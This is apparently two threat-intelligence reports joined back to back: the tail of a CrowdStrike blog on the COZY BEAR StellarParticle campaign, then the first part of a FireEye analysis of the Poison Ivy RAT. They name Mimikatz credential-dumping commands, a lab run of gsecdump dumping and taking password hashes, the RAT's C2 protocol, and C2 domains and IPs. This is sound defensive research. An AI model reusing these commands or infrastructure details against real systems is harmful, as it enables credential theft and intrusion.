Around the time when the threat actor executed Get-ADReplAccount , the threat actor also executed a renamed version of AdFind to output domain reconnaissance information.
In this instance, AdFind was renamed to masquerade as a legitimate Windows binary.
The usage of renamed AdFind is consistent with other industry reporting on this campaign.
In addition to using scripted commands, operators were repeatedly observed manually executing several standard PowerShell cmdlets to enumerate network information from AD, including Get-ADUser  and Get-ADGroupMember  to query specific members in the directory.
This information provided the adversary with a list of accounts possessing particular privileges  in this case, the ability to make VPN connections  that would be subject to later credential stealing attempts and leveraged to access the victim at a later time.
Password Policies/Hygiene 19/22 In some cases, the threat actor was able to quickly return to the environment and essentially pick up where they left off, even though the organization had performed an enterprise-wide password reset, including a reset of all service accounts and the double-reset of the krbtgt account.
CrowdStrike determined that in these cases, administrative users had reset their own password to the same password they previously used, essentially nullifying the impact of the enterprise-wide reset.
This was possible even though the customers Active Directory was configured to require new passwords to be different from the previous five passwords for a given account.
Unfortunately, this check only applies when a user is changing their password via the password change method  but if a password reset is performed (changing the password without knowing the previous password), this check is bypassed for an administrative user or a Windows account that has the Reset Password permission on a users account object.
Since the Get-ADReplAccount  cmdlet described above included the NTHashHistory values (i.e., previous password hashes) for user accounts, CrowdStrike was able to verify that some administrative accounts indeed had the exact same password hash showing up multiple times in the password history, as well as in the current NTHash value.
Close Out The StellarParticle campaign, associated with the COZY BEAR adversary group, demonstrates this threat actors extensive knowledge of Windows and Linux operating systems, Microsoft Azure, O365, and Active Directory, and their patience and covert skill set to stay undetected for months  and in some cases, years.
A special thank you to the CrowdStrike Incident Response and CrowdStrike Intelligence teams for helping make this blog possible, especially Ryan McCombs, Ian Barton, Patrick Bennet, Alex Parsons, Christopher Romano, Jackson Roussin and Tom Goldsmith.
Endnotes MITRE ATTCK Framework The following table maps TTPs covered in this article to the MITRE ATTCK framework.
Tactic Technique Observable Credential Access T1003.006 OS Credential Dumping: DCSync The threat actor obtained Active Directory credentials through domain replication protocols using the Get- ADReplAccount command from DSInternals Credential Access T1003.001: OS Credential Dumping: LSASS Memory The threat actor used a heavily obfuscated PowerShell script to execute the Mimikatz commands privilege::debug sekurlsa::logonpasswords lsadump::lsa /patch in-memory and encrypt the output 12 https://www.crowdstrike.com/cybersecurity-101/mitre-attack-framework/ https://attack.mitre.org/techniques/T1003/006/ https://attack.mitre.org/techniques/T1003/001/ 20/22 Initial Access / Persistence T1078.003: Valid Accounts: Local Accounts A local account was used by the Threat Actor to establish a SSH tunnel into the internal network environment Initial Access / Persistence T1133: External Remote Services The threat actor used VPNs to gain access to systems and persist in the environment Credential Access T1555.003: Credentials from Password Stores: Credentials from Web Browsers The threat actor exported saved passwords from users Chrome browser installations Credential Access T1539: Steal Web Session Cookie The threat actor stole web session cookies from end user workstations and used them to access cloud resources Lateral Movement T1021.001: Remote Services: Remote Desktop Protocol The threat actor used both privileged and non- privileged accounts for RDP throughout the environment, depending on the target system Initial Access, Persistence T1078.004: Valid Accounts: Cloud Accounts The threat actor used accounts with Delegated Administrator rights to access other O365 tenants.
The Threat actor also used valid accounts to create persistence within the environment.
Persistence T1546.003: Event Triggered Execution: Windows Management Instrumentation Event Subscription TrailBlazer was configured to execute after a reboot via a command-line event consumer Defense Evasion T1036.005: Masquerading: Match Legitimate Name or Location The threat actor renamed their utilities to masquerade as legitimate system binaries (AdFind as svchost.exe), match the systems role (GoldMax), or appear legitimate (TrailBlazer as an apparent Adobe utility).
Additionally, the threat actor renamed their systems prior to connecting to victims VPNs to match the victims system naming convention https://attack.mitre.org/techniques/T1078/003/ https://attack.mitre.org/techniques/T1133/ https://attack.mitre.org/techniques/T1555/003/ https://attack.mitre.org/techniques/T1539/ https://attack.mitre.org/techniques/T1021/001/ https://attack.mitre.org/techniques/T1078/004/ https://attack.mitre.org/techniques/T1546/003/ https://attack.mitre.org/techniques/T1036/005/ 21/22 Discovery T1087.002: Account Discovery: Domain Account T1482: Domain Trust Discovery T1069.002: Permission Groups Discovery: Domain Groups The threat actor used AdFind, standard PowerShell cmdlets, and custom tooling to identify various pieces of information from Active Directory Defense Evasion / Lateral Movement T1550.001: Use Alternate Authentication Material: Application Access Token The threat actor used compromised service principals to make changes to the Office 365 environment.
Collection T1213.
:
Data from Information Repositories: The threat actor accessed data from Information Repositories Persistence T1098.001: Account Manipulation: Additional Cloud Credentials The threat actor added credentials to O365 Service Principals Persistence T1078.004: Valid Accounts: Cloud Accounts The threat actor created new O365 Service Principals to maintain access to victims environments Discovery T1057: Process Discovery The threat actor regularly interrogated other systems using tasklist.exe Reconnaissance T1595.001: Active Scanning: Scanning IP Blocks The threat actor probed external services in an attempt to regain access to the environment Indicators of Compromise (IOCs) https://attack.mitre.org/techniques/T1087/002/ https://attack.mitre.org/techniques/T1482 https://attack.mitre.org/techniques/T1069/002/ https://attack.mitre.org/techniques/T1550/001/ https://attack.mitre.org/techniques/T1213/ https://attack.mitre.org/techniques/T1098/001/ https://attack.mitre.org/techniques/T1078/004/ https://attack.mitre.org/techniques/T1057/ https://attack.mitre.org/techniques/T1595/001/ 22/22 Indicator Details http://satkas.waw[.
]pl/rainloop/forecast TrailBlazer C2 1326932d63485e299ba8e03bfcd23057f7897c3ae0d26ed1235c4fb108adb105 TrailBlazer SHA256 vm-srv-1.gel.ulaval.ca GoldMax C2 2a3b660e19b56dad92ba45dd164d300e9bd9c3b17736004878f45ee23a0177ac GoldMax SHA256 156.96.46.116 TA Infrastructure 188.34.185.85 TA Infrastructure 212.103.61.74 TA Infrastructure 192.154.224.126 TA Infrastructure 23.29.115.180 TA Infrastructure 104.237.218.74 TA Infrastructure 23.82.128.144 TA Infrastructure Additional Resources Read about the latest trends in threat hunting and more in the 2021 Threat Hunting Report or simply download the report now.
Learn more about Falcon OverWatch proactive managed threat hunting.
Watch this video to see how Falcon OverWatch proactively hunts for threats in your environment.
Learn more about the CrowdStrike Falcon platform by visiting the product webpage.
Test CrowdStrike next-gen AV for yourself.
Start your free trial of Falcon Prevent today.
https://www.crowdstrike.com/blog/2021-threat-hunting-report-preview/ https://www.crowdstrike.com/resources/reports/threat-hunting-report-2021/ https://www.crowdstrike.com/endpoint-security-products/falcon-overwatch-threat-hunting/ https://www.crowdstrike.com/resources/videos/falcon-overwatch-proactively-hunts-threats-environment/ https://www.crowdstrike.com/endpoint-security-products/falcon-platform/ https://go.crowdstrike.com/try-falcon-prevent.html
SECURITY REIMAGINED SPECIAL REPORT POISON IVY: Assessing Damage and Extracting Intelligence 1  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence CONTENTS Executive Summary  ............................................................................................................................................................................................................................................................................................................. 2 Introduction  ............................................................................................................................................................................................................................................................................................................................................. 3 Technical Analysis ...................................................................................................................................................................................................................................................................................................................... 4 Extracting Intelligence ........................................................................................................................................................................................................................................................................................... 14 Poison Ivy Sample Analysis  ....................................................................................................................................................................................................................................................................... 14 Conclusion  .............................................................................................................................................................................................................................................................................................................................................. 32 About FireEye  ................................................................................................................................................................................................................................................................................................................................ 32 http://www.fireeye.com 2  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Even as security professionals shrug off the threat, the presence of a RAT may in itself indicate a targeted attack known as an advanced persistent threat (APT).
Unlike malware focused on opportunistic cybercrime (typically conducted by botnets of comprised machines), RATs require a live person on the other side of the attack.
This report spotlights Poison Ivy (PIVY), a RAT that remains popular and effective a full eight years after its release, despite its age and familiarity in IT security circles.
In conjunction with the study, FireEye is releasing Calamine, a set of free tools to help organizations detect and examine Poison Ivy infections on their systems.
Poison Ivy has been used in several high-profile malware campaigns, most notoriously, the 2011 compromise of RSA SecurID data.
The same year, Poison Ivy powered a coordinated attack dubbed Nitro against chemical makers, government agencies, defense firms and human-rights groups.
Several ongoing cyber attack campaigns use Poison Ivy, including these: admin338Active since 2008, this campaign mostly targets the financial services industry, though we have also seen activity in the telecom, government, and defense sectors.
th3bugFirst detected in 2009, this campaign targets a number of industries, primarily higher education and healthcare.
menuPassAlso launched in 2009, this campaign appears to originate from China, targeting U.S. and overseas defense contractors.
Understanding why Poison Ivy remains one of the most widely used RATs is easy.
Controlled through a familiar Windows interface, it offers a bevy of handy features: key logging, screen capturing, video capturing, file transfers, password theft, system administration, traffic relaying, and more.
Executive Summary Remote access tools (RATs) may be the hackers equivalent of training wheels, as they are often regarded in IT security circles.
But dismissing this common breed of malware could be a costly mistake.
Despite their reputation as a software toy for novice script kiddies, RATs remain a linchpin of many sophisticated cyber attacks.
Requiring little technical savvy to use, RATs offer unfettered access to compromised machines.
They are deceptively simpleattackers can point and click their way through the targets network to steal data and intellectual property.
But they are often delivered as key component of coordinated attacks that use previously unknown (zero-day) software flaws and clever social engineering.
http://www.fireeye.com 3  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence And Poison Ivy is so widely used that security professionals have a harder time tracing attacks that use the RAT to any particular attacker.
We hope to eliminate some of that anonymity with the FireEye Calamine package.
The package, which enables organizations to easily monitor Poison Ivys behavior and communications, includes these components: PIVY callback-decoding tool (ChopShop module) IVY memory-decoding tool (Immunity Debugger PyCommand script) ChopShop1 is a new framework developed by the MITRE Corporation for network-based protocol decoders that enable security professionals to understand actual commands issued by human operators controlling endpoints.
The FireEye PIVY module for ChopShop decrypts Poison Ivy network traffic.
PyCommands, meanwhile, are Python scripts that automate tasks for Immunity Debugger, a popular tool for reverse-engineering malware binaries.2 The FireEye PyCommand script dumps configuration information from a running PIVY process on an infected endpoint, which can provide additional telemetry about the threat actor behind the attack.
FireEye is sharing the Calamine tools with the security community at large under the BSD 2-Clause License3 for both commercial and non-commercial use worldwide.
The tools are available for download at the following locations: https://github.com/fireeye/pycommands https://github.com/fireeye/chopshop By tracking the PIVY server activity, security professionals can find these telltale indicators: The domains and IPs used for Command and Control (CnC) The attackers PIVY process mutex The attackers PIVY password The launcher code used in the malware droppers A timeline of malware activity This report explains how Calamine can connect these and other facets of the attack.
This evidence is especially useful when it is correlated with multiple attacks that display the same identifying features.
Combining these nuts-and-bolts details with big-picture intelligence can help profile threat attackers and enhance IT defenses.
Calamine may not stop determined attackers that use Poison Ivy.
But it can make their criminal endeavors that much more difficult.
Introduction Poison Ivy is a remote access tool that is freely available for download from its official web site at www.poisonivy-rat.com.
First released in 2005, the tool has gone unchanged since 2008 with v ersion 2.3.2.
Poison Ivy includes features common to most Windows-based RATs, including key logging, screen capturing, video capturing, file transfers, system administration, password theft, and traffic relaying.
Poison Ivys wide availability and easy-to-use features make it a popular choice for all kinds of 1 ChopShop is available for download at https://github.com/MITRECND/chopshop.
2  Immunity Debugger is available at http://debugger.immunityinc.com/.
3 For more information about the BSD 2-Clause License, see the Open Source Initiatives template at http://opensource.org/licenses/BSD-2-Clause.
http://www.fireeye.com 4  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence criminals.
But it is probably most notable for its role in many high profile, targeted APT attacks.
These APTs pursue specific targets, using RATs to maintain a persistent presence within the targets network.
They move laterally and escalate system privileges to extract sensitive information whenever the attacker wants to do so.4,5 Because some RATs used in targeted attacks are widely available, determining whether an attack is part of a broader APT campaign can be difficult.
Equally challenging is identifying malicious traffic to determine the attackers post-compromise activities and assess overall damagethese RATs often encrypt their network communications after the initial exploit.
In 2011, three years after the most recent release of PIVY, attackers used the RAT to compromise security firm RSA and steal data about its SecureID authentication system.
That data was subsequently used in other attacks.6 The RSA attack was linked to Chinese threat actors and described at the time as extremely sophisticated.
Exploiting a zero-day vulnerability, the attack delivered PIVY as the payload.7,8 It was not an isolated incident.
The campaign appears to have s tarted in 2010, with many other companies compromised.9 PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers, government agencies, defense contractors, and human rights groups.10,11 Still active a year later, the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012.12 Just recently, PIVY was the payload of a zero-day exploit in Internet Explorer used in what is known as a strategic web compromise attack against visitors to a U.S. government website and a variety of others.13 RATs require live, direct, real-time human interaction by the APT attacker.
This characteristic is distinctly different from crimeware (malware focused on cybercrime), where the criminal can issue commands to their botnet of compromised endpoints whenever they please and set them to work on a common goal such as a spam relay.
In contrast, RATs are much more personal and may indicate that you are dealing with a dedicated threat actor that is interested in your organization specifically.
Technical Analysis Build and implantation The Poison Ivy builder kit allows attackers to customize and build their own PIVY server, which is delivered as mobile code to a target that has been compromised, typically using social engineering.
Once the server executes on a targets endpoint, it connects to a PIVY client installed on the attackers machine, giving the attacker control of the target system.
The PIVY server code can executed on the target endpoint in a number of ways, depending on how the attacker configured it.
In the most common configuration, the PIVY server divides its code into two parts: 4 Joe Stewart.
The Sin Digoo Affair.
February 2012.
5  Nart Villeneuve.
Trends in Targeted Attacks.
October 2011.
6 eWeek.
Northrop Grumman, L-3 Communications Hacked via Cloned RSA SecurID Tokens.
June 2011.
7 RSA FraudAction Research Labs.
Anatomy of an Attack.
April 2011.
8 CNET.
Attack on RSA used zero-day Flash exploit in Excel.
April 2011.
9 Brian Krebs.
Who Else Was Hit by the RSA Attackers?
October 2011.
10 Eric Chien and Gavin OGorman.
The Nitro Attacks: Stealing Secrets from the Chemical Industry.
October 2011.
11 GovCERTUK Computer Emergency Response Team.
Targeted Email Attack Alert.
October 2011.
12 Symantec.
Java Zero-Day Used in Targeted Attack Campaign.
August 2012.
13 Yichong Lin.
IE Zero Day is Used in DoL Watering Hole Attack.
May 2013.
http://www.fireeye.com 5  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Initialization and maintenance code Networking code The initialization and maintenance code is injected into the already-running explorer.exe process.
Depending on how the attacker configures it, the networking code launches a hidden Web browser process (the systems default browser) and injects itself into that process.
The networking code then remotely downloads (from the attackers PIVY client as shellcode) the rest of the code and data it needs for its features and functionality.
The new code executes on the targets endpoint within the context of the target process.
All of PIVYs global variables, configuration details, and function pointers are stored in a C-style struct (data structure), which is also injected into the target processes in both the PIVY networking code and initialization and maintenance code.
This distinct characteristic has the side effect of having every CALL instruction and global variable address being referenced as an offset to a register when looking at the codes disassembly.
The code injected into explorer.exe is peculiar in that, unlike most malware-injected code, this code is injected function by function each with its own memory region, filling in the proper function pointers in its struct.
If the persistence PIVY option is enabled, a watchdog thread is also injected into explorer.exe, which automatically restarts the PIVY server process if it is unexpectedly terminated by the targets operating system.
PIVYs keylogging function, if enabled, is also injected into explorer.exe.
Command and Control protocol Figure 1: PIVY server configuration details being reported to the PIVY client http://www.fireeye.com 6  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Figure 2: Data and functions referenced as offsets to the struct pointed to by the ESI register Figure 3: Injected functions in separate memory regions in explorer.exe Figure 4: The persistence thread in explorer.exe can easily be killed from Process Explorer http://www.fireeye.com 7  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Poison Ivy features a complex, custom network protocol over TCP.
Most of this communication is encrypted using the Camellia cipher with a 256-bit key.14 The key is derived from a password provided by the attacker when building the PIVY server.
The password, admin by default, can be provided in plain text or as hex-ASCII.
The password is zero-padded to 32 bytes (256 bits).
The key is validated at the beginning of the TCP session with a challenge-response algorithm.
The PIVY server sends 256 bytes of randomly generated data to the PIVY client which, in turn, encrypts the data using the key and sends it back to the PIVY server for validation.
Much of the data sent throughout PIVYs communications is also compressed before encryption using Microsofts LZNT1 compression algorithm,15 which PIVY utilizes through the Windows RtlCompressBuffer API.
The protocol operates by sending encrypted data in chunks that are prepended with the following encrypted 32-byte header: struct PI_chunk_header int command_id int stream_id int padded_chunk_size int chunk_size int decompressed_chunk_size long total_stream_size int padding  The PI_chunk_header structure is arranged as follows: command_idThis member identifies which feature of PIVY the chunked data is related to.
stream_idThis member identifies which stream this flow corresponds to.
PIVYs protocol supports sending multiple streams of data simultaneously.
padded_chunk_sizeBecause Camellia is a 16-byte block cipher, padding is utilized in the headers and in the data chunks.
chunk_sizeChunks are assembled into a stream of data that could be anything, such as a transferred file, shellcode to execute, a screen capture bitmap file, or raw data.
decompressed_chunk_sizeIf this size is different from the chunk_size, the chunk is compressed using LZNT1.
total_stream_sizeThis member specifies the total size of the data being sent for the related command_id.
paddingThis member specifies the zero padding (up to 32 bytes).
http://www.fireeye.com 8  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Figure 5: PIVY initial communication protocol Figure 6: PIVY data chunks with headers http://www.fireeye.com 9  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Calamine ChopShop module The FireEye Poison Ivy decoder checks the beginning of each TCP session for possible PIVY challengeresponse sequences.
If found, the module will try to validate the response using one or more passwords supplied as arguments.
If no password is supplied, it tries the default admin password.
You can supply a single password in either plain-text form or hex-ASCII form.
For multiple passwords, you can specify a text file containing line-delimited passwords.
If the decoder identifies valid initial PIVY flows based on a supplied password, then the decoder decodes the rest of the relevant flow or flows.
To use the FireEye ChopShop module, you must install CamCrypt, a python wrapper for an open-source implementation of the Camellia encryption library.16 Most of the features of PIVY are covered to some extent in this module.
Note: If the PIVY flows do not correspond to any supplied password, then decoding fails.
Fortunately, you can easily locate the custom PIVY password if you have a compromised endpoint infected with PIVY or a copy of the PIVY server code, as explained in the section Locating the PIVY Password with the Calamine PyCommand Script.
Calamine ChopShop usage notes Calamine ChopShop offers the following features and options: Files transferred to or from the PIVY server are saved to disk when the -f option is used.
Webcam, audio, keylog, and single screen captures are saved to disk when the -c option is used.
The audio captures are saved as raw data that can easily be converted to .wav files u sing a tool such as SoX.17 The decoder prints the sample rate, channel, and bit data.
File and registry search details and results are displayed.
The details of any network relays instantiated are displayed.
Active port listings are displayed.
This module partially supports decoding listings of Windows files, the registry, services, processes, devices, and installed application listings.
During PIVY flow decoding, the modules default output indicates that listing requests have occurred and, when applicable, highlights which key or directory is being listed.
Directory listings are printed, but without file details.
When the module is invoked with the -1 option, all returned list data is saved to a file in raw for m, just as it is seen by the PIVY client: a mixtur e of strings and binary data describing those strings.
If you are interested in the details of what was listed, running the strings tool on raw file dumps is useful.
If you encounter an unrecognized command or want to extend the functionality of this decoder, the -d option is useful.
It prints hex dumps of all the headers and assembled streams in both directions, helping to analyze and build additional parsing functionality.
16   CamCrypt is available at https://code.google.com/p/camcrypt/.
17  SoX is available at http://sox.sourceforge.net/.
http://www.fireeye.com 10  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Locating the PIVY password with the calamine PyCommand script Many attackers leave the default admin password unchanged.
In this case, you can start using this decoder immediately.
Often, however, the attacker opts for better security by creating a unique password.
But if you have access to the PIVY-infected endpoint or to the PIVY server executable, retrieving the password is easy.
You can retrieve the password a number of ways, depending on your circumstance and preferences.
If you prefer working with memory dumps, digital forensics expert Andreas Schuster has released a wonderful Volatility plugin for PIVY.18 Volatility dumps most of PIVYs useful configuration data, including the password, as shown at the Volatility project page (http://code.google.com/p/volatility/ source/browse/trunk/contrib/plugins/malware/ poisonivy.py?r2833).
If you have a malware-analysis environment setup, the Calamine PyCommand19 script for Immunity Debugger is quick and simple.18 The Volatility plugin is available at https://www.volatilesystems.
com/default/volatility.19 Corelan Team.
Starting to write Immunity Debugger PyCommands : my cheatsheet.
January 2010.
Follow these steps to use the PyCommand (these steps may vary in some situations): 1.
Attach Immunity Debugger to the process PIVY injects into (or to the PIVY process itself if PIVY does not inject).
2.
Set breakpoints on the send and connect functions.
3.
Continue execution.
4.
Wait for the execution to break.
5.
Execute until return and step out of the function.
6.
Run the PyCommand.
7.
Check the logs for the configuration details.
Damage assessment To effectively assess the damage sustained in an attack, you must reconstruct the attackers activities.
Depending upon the attackers cleanup efforts, fully reconstructing their activities from host forensics alone may not be possible.
But if PIVY network activity is collected, the Calamine ChopShop module can help uncover this information.
In the following example, we set up a test environment and executed commands typically run by attackers after they compromise a system with PIVY and prepare to move laterally.
Then 18  The Volatility plugin is available at https://www.volatilesystems.com/default/volatility.
19  Corelan Team.
Starting to write Immunity Debugger PyCommands : my cheatsheet.
January 2010.
http://www.fireeye.com 11  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Defenders View  Attackers View Starting ChopShop Initializing Modules ... Initializing module poisonivy_23x Transferred files will be saved.. Screen/Cam/Audio/Key captures will be saved.. Running Modules ... [2013-07-03 06:46:29 PDT] Poison Ivy Version:2.32 [2013-07-03 06:46:30 PDT] Host Information PI profile ID: mal IP address: 192.168.0.12 Hostname: BLUE Windows User: admin Windows Version: Windows XP Windows Build: 2600 Service Pack: Service Pack 3 [2013-07-03 06:46:36 PDT]  Shell Session Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\ [2013-07-03 06:46:42 PDT]  Shell Session ipconfig [2013-07-03 06:46:43 PDT]  Shell Session Windows IP Configuration Connection-specific DNS Suffix .
:
IP Address. . . . . . . . . . . . :
192.168.0.15 Subnet Mask .
. . . . . . . . . . :
255.255.255.0 Default Gateway .
. . . . . . . . :
192.168.0.1 C:\ http://www.fireeye.com 12  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Defenders View  Attackers View [2013-07-03 06:47:23 PDT] inbound file C:\gsecdump.exe [2013-07-03 06:47:46 PDT] saved PI- extractedinbound- file-1-gsecdump.exe.. [2013-07-03 06:47:46 PDT]  Shell Session gsecdump.exe -a  hash.txt 0043B820 info: you must run as LocalSystem to dump LSA secrets [2013-07-03 06:47:46 PDT]  Shell Session C:\ [2013-07-03 06:47:54 PDT]  Directory Listing Sent AUTOEXEC.BAT boot.ini CONFIG.SYS gsecdump.exe hash.txt IO.SYS MSDOS.SYS NTDETECT.COM ntldr pagefile.sys [2013-07-03 06:48:02 PDT] outbound file C:\hash.txt [2013-07-03 06:48:02 PDT] saved PI-extractedoutbound- file-2-hash.txt.. http://www.fireeye.com 13  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Defenders View  Attackers View [2013-07-03 06:48:57 PDT]  Screen Capture Sent  PI-extracted-file-3-screenshot.bmp saved.. [2013-07-03 06:49:03 PDT]  Remote Desktop Session [2013-07-03 06:49:03 PDT]  Remote Desktop Session Shutting Down Modules ... Shutting Down poisonivy_23x Module Shutdown Complete ... ChopShop Complete Figure 7: Example PIVY commands an views (defender, left attacker, right) using our Calamine ChopShop module, we reconstructed what operations occurred.
After the initial compromise, the attackers see that they have a new target endpoint and do the following: Execute some basic commands such as ipconfig to collect the network information of the endpoint Upload the password-dumping tool gsecdump (available at http://www.truesec.
se/sakerhet/verktyg/saakerhet/gsecdump_ v2.0b5) Dump the password hashes on the endpoint to a file Download a file containing the password hashes off the endpoint (to crack the targets passwords offline) Take a screenshot of the targets desktop http://www.fireeye.com 14  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Extracting Intelligence APT activity is best described as a campaigna series of attacks over time.
Each individual attack within a campaign can be divided into the following phases:20,21,22 Reconnaissance Exploitation CnC Lateral movement Exfiltration (or other malicious actions on the target) Each of these phases provides opportunities to derive threat intelligence about the adversary.
Over time, security professionals can acquire and analyze evidence to determine whether the attacks constitute malware-based espionage.
Such an assessment requires understanding these components of an attack: Timing and targeting preferences Exploits and malware Network infrastructure Scope of attackers activities within a compromised network (including stolen data) Characteristics of the target population This assessment demands more than just malware analysis.
It requires analyzing both the technical and contextual aspects of a breach and exploring competing hypotheses.23,24 These steps are important because investigators will always face visibility gapslimitations in knowing the geographic and industry reach of attacks or details of malware activity in some phases of the attack.
Poison Ivy Sample Analysis For this analysis, we collected 194 Poison Ivy samples used in targeted attacks between 2008 and 2013.
We extracted 22 different passwords and 148 mutexes.
We also mapped out the CnC infrastructure, which comprised 147 domains and 165 IP addresses.
We analyzed these samples to better understand the tools, tactics, and procedures (TTPs) of the attackers, explore campaign connections among them, and enable defenders to better secure their networks.
In addition to clustering the samples based on technical indicators, such as the passwords and CnC information extracted from the samples, we also analyzed contextual indicators where possible, such as attackers targeting preferences and lures used in social engineering.
20 SANS Computer Forensics.
Security Intelligence: Defining APT Campaigns.
June 2010.
21 SANS Computer Forensics.
Security Intelligence: Attacking the Cyber Kill Chain.
October 2009.
22 Richard Bejtlich.
Incident Phases of Compromise.
June 2009.
23 Richard Bejtlich.
Attribution Is Not Just Malware Analysis.
January 2010.
24 Jeffrey Carr.
Mandiant APT1 Report Has Critical Analytic Flaws.
February 2013.
http://www.fireeye.com 15  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Each PIVY server (the malware that the attacker sends to the target) can be configured to connect to multiple CnC servers using any TCP port.
So seeing a PIVY sample that attempts to connect to multiple CnC servers on different TCP ports is not unusual.
But the most common ports used in targeted attacks are those associated with Web trafficespecially 443, the TCP port used for SSL-encrypted Web traffic.
Port 443 is a significant choice for two reasons.
First, perimeter defenses must allow outbound traffic through this port so that users can access legitimate SSL-encrypted websites.
Second, because the traffic on port 443 is encrypted, PIVYs encrypted traffic may bl end in with normal network activity.
(
Many protocol-aware perimeter defenses, however, can detect and flag PIVY traffic).
TCP Port Used PIVY Sample Count 443 157 80 104 8080 22 8000 12 1863 7 PIVY Process Mutex PIVY Sample Count )VoqA.I4 14 KDJAFE 4 KEIVHS 3 1Sjfhtd8 3 2SFR 3 Table 1: Common TCP ports used by PIVY variants in APT attacks Table 2: Common process mutex seen in PIVY variants attributed to APT attacks http://www.fireeye.com 16  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence The attacker can set the PIVY process mutex name at build time.25 While some attacks use the default mutex of )VoqA.I4, most create a custom mutex for each attack.
Of the 147 mutexes in our sample set, 56 were designed for one-time use.
If attackers create a unique password at build time rather than using the PIVY default admin, that custom password is the most unique indicator.
While threat actors may change passwords used over time, we have found that they often use the same one for significant periods.
When combined with CnC data, the passwords used by the actors provide unique indicators that can be used to cluster related activity.
Clustering To cluster the activity of specific APT campaigns across our PIVY sample set, we first grouped the PIVY samples by common CnC infrastructure.
Using passive DNS, we clustered the domain names used by the common IP address to which they resolved.
Because attackers may park their domains by pointing to IP addresses that they do not necessarily control (and to account for other possible anomalies in passive DNS data), we layered additional indicators extracted from the samples, such as PIVY passwords, mutexes, campaign marks/codes,26 and launcher information.27 From our data set, we focused on three separate APT campaigns and corresponding threat actors identified by the PIVY password used in subsequent attacks: admin338 th3bug menuPass Each of these campaigns is detailed in the corresponding sections.
25 A mutex is a Windows object used for inter-process synchronization.
They are often used by malware to ensure only one instance of the malware is running on an infected system at a given time.
26 A campaign mark/code is typically a string designated by a threat actor that is often included as part of the malware communication and/or embedded within the malware binaries.
It is used to identify targeted attack campaigns against a set number of targets (usually by industry), so the threat actor can keep attacks organized.
27 Launchers are malware built specifically to load other malware (payload), often by decrypting the payload and injecting it into a host process on the targets endpoint.
PIVY  Password PIVY Sample Count admin 38 keaidestone 35 menuPass 24 suzuki 14 happyyongzi 13 Table 3: Common PIVY passwords seen in PIVY variants attributed to APT attacks http://www.fireeye.com 17  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence To triangulate the timing (when the sample was likely used), we used the portable executable (PE) compile time extracted from the PIVY samples and the date each sample appeared first appeared in a malwareanalysis services such as VirusTotal.
Each of these APT campaigns has been active from 2008 through 2013.
Campaign 1: admin338 Our data set for the admin338 threat actor contains the following: 21 Poison Ivy samples 3 passwords 43 CnC servers The earliest admin338 PIVY sample we have dates to December 27, 2009.
But we believe that this campaign was active as early as January 7, 2008, using other PIVY passwords (key123 and gwx123).
This ongoing campaign tends to target the finance, economic, and trade policy but we see significant activity in the ISP/telco, government, and defense sectors as well.
Figure 9: Percent of admin338 APT group attacks by industry http://www.fireeye.com 18  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Attack vector The preferred attack vector used by this campaign is spear-phishing emails.
Using content that is relevant to the target, these emails are designed to entice the target to open an attachment that contains the malicious PIVY server code.
The content of the spear-phishing emails and the decoy documents opened after exploitation tend to be in Englishalthough the character set of the email message body in Figure 10 is actually Chinese (character set GB2312).28 Figure 10: Example spear-phishing email launched by the admin338 APT group 28 Wikipedia.
GB 2312.
February 2013.
http://www.fireeye.com 19  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Weaponization This campaign has used weaponized Microsoft Word documents (CVE-2012-0158),29 Adobe Acrobat PDFs (CVE-2009-4324)30 and Microsoft Help Files (.HLP) to drop PIVY on their targets.
The decoy documents that are opened in exploitation typically contain content that is contextually relevant to both the text of the spear-phishing email and to the interests of the intended target.
The documents are legitimate but weaponizeddocuments in English.
Clustering In addition to the PIVY password admin338, we clustered individual attacks by using passive DNS data to look at the IP addresses the CnC servers have resolved to over time.
We found that common IP addresses among PIVY samples for admin338, key123 and gwx123.
29 National Institute of Standards and Technology.
Vulnerability Summary for CVE-2012-0158.
April 2012.
30 National Institute of Standards and Technology.
Vulnerability Summary for CVE-2009-4324.
December 2009.
Figure 11: GB2312 encoding in spear-phishing email launched by the admin338 APT group Figure 12: Contents of decoy attachments used by the admin338 APT group http://www.fireeye.com 20  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence We can link PIVY passwords key123 with admin338 by observing the following connections: The key123 sample, 808e21d6efa2884811fbd0adf67fda78, connects directly to 219.76.208.163.
Two CnC domain names from the admin338 sample 8010cae3e8431bb11ed6dc9acabb93b7, www.webserver.dynssl.com and www.
webserver.freetcp.com, resolved to that same IP address (219.76.208.163).
We can link PIVY passwords gwx123 with admin338 by observing the following connections: The gwx123 sample 0323de551aa10ca6221368c4a73732e6 connects to the CnC domain names microsofta.
byinter.net, microsoftb.byinter.net, microsoftc.
byinter.
net, and microsofte.byinter.net.
These domain names resolved to 113.10.246.30 219.90.112.203, 202.65.220.64, 75.126.95.138, 219.90.112.197, 202.65.222.45, and 98.126.148.114.
The admin338 sample 8010cae3e8431bb11ed6dc9acabb93b7 connects to the CnC domains www.
webserver.fartit.com, www.webserver.
freetcp.com, and www.webserver.dynssl.com.
